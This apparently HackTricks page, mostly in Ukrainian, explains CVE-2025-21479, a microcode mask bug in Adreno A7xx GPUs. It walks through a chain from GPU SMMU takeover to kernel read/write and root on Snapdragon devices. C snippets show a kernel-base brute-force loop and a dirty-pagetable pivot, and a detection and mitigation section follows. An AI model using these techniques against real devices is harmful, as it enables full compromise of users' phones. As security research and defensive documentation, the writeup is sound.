Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця сторінка узагальнює реальний баг у мікрокоді Adreno A7xx (CVE-2025-21479) у відтворювані техніки експлуатації: зловживання IB-рівневим маскуванням у Set Draw State (SDS) для виконання привілейованих GPU-пакетів з неповноважного додатку, перехід до takeover GPU SMMU і далі до швидкого, стабільного Kernel R/W через dirty-pagetable трюк.

  • Затронуто: Qualcomm Adreno A7xx GPU firmware до мікрокодного виправлення, яке змінило маскування регістра $12 з 0x3 на 0x7.
  • Примітив: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Наслідок: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Передумови: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

Передумови: IB levels, SDS and the $12 mask

  • Кernel підтримує ringbuffer (RB=IB0). Користувацький простір надсилає IB1 через CP_INDIRECT_BUFFER, ланцюжачи до IB2/IB3.
  • SDS — це спеціальний потік команд, який входить через CP_SET_DRAW_STATE:
  • A6xx: SDS трактуються як IB3
  • A7xx: SDS переміщено в IB4
  • Мікрокод відстежує поточний IB-рівень у регістрі $12 і обмежує прийом привілейованих пакетів так, щоб вони приймалися лише коли ефективний рівень відповідає IB0 (kernel RB).
  • Баг: мікрокод A7xx маскував $12 з 0x3 (2 біти) замість 0x7 (3 біти). Оскільки IB4 & 0x3 == 0, SDS помилково ідентифікувався як IB0, що дозволяло запускати привілейовані пакети з керованого користувачем SDS.

Чому це важливо:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Приклад diff мікрокоду (patch змінив маску на 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Огляд експлуатації

Мета: Через SDS (помилково прочитане як IB0) відправити привілейовані CP пакети, щоб перенаправити GPU SMMU на attacker-crafted pagetable, потім використовувати GPU copy/write пакети для довільного фізичного R/W. Врешті-решт — переключитися на швидкий CPU-side R/W через dirty pagetable.

High-level chain

  • Craft a fake GPU pagetable in shared memory
  • Enter SDS and execute:
  • CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
  • Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Notes

  • Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
  • Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.

Building the SDS command sequence

  • Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
  • Construct an SDS buffer containing, in order:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
  3. CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

Finding Samsung kernel physbase under physical KASLR

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Коли physbase відомий, обчисліть kernel virtual за допомогою лінійного відображення:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Стабілізація для швидкого та надійного CPU-стороннього kernel R/W (dirty pagetable)

GPU R/W повільний і має малу гранулярність. Перейдіть до швидкого/стабільного примітива, пошкодивши свої власні PTEs (“dirty pagetable”):

Steps

  • Знайдіть поточний task_struct -> mm_struct -> mm_struct->pgd, використовуючи повільні GPU R/W примітиви
  • mmap два суміжні userspace сторінки A і B (наприклад, за адресою 0x1000)
  • Пройдіть PGD->PMD->PTE, щоб визначити фізичні адреси PTE для A/B (допоміжні функції: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Перезапишіть PTE сторінки B, щоб вказувати на останній рівень pagetable, що керує A/B, з атрибутами RW (phys_to_readwrite_pte)
  • Пишіть через VA сторінки B, щоб змінити PTE сторінки A для відображення цільових PFNs; читайте/записуйте пам’ять ядра через VA сторінки A, очищаючи TLB, поки sentinel не зміниться
Приклад dirty-pagetable pivot snippet ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Виявлення та захист

- Прошивка/мікрокод: виправити всі місця, що маскують $12, щоб використовувати 0x7 (A7xx) та провести аудит привілейованих packet gates
- Драйвер: перевіряти ефективний рівень IB для привілейованих пакетів і застосовувати per-context allowlists
- Телеметрія: подавати тривогу, якщо CP_SMMU_TABLE_UPDATE (або подібні привілейовані опкоди) з’являється поза RB/IB0, особливо в SDS; моніторити аномальні сплески 4/8-байтових CP_MEM_TO_MEM та надмірні шаблони скидання TLB
- Ядро: посилити захист метаданих таблиць сторінок і виявляти шаблони пошкодження PTE користувача

## Вплив

Локальний додаток з доступом до GPU може виконувати привілейовані GPU пакети, захопити GPU SMMU, отримати довільні фізичні/віртуальні R/W ядра, вимкнути SELinux та отримати root на уражених пристроях Snapdragon A7xx (наприклад, Samsung S23). Критичність: Висока (компрометація ядра).

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>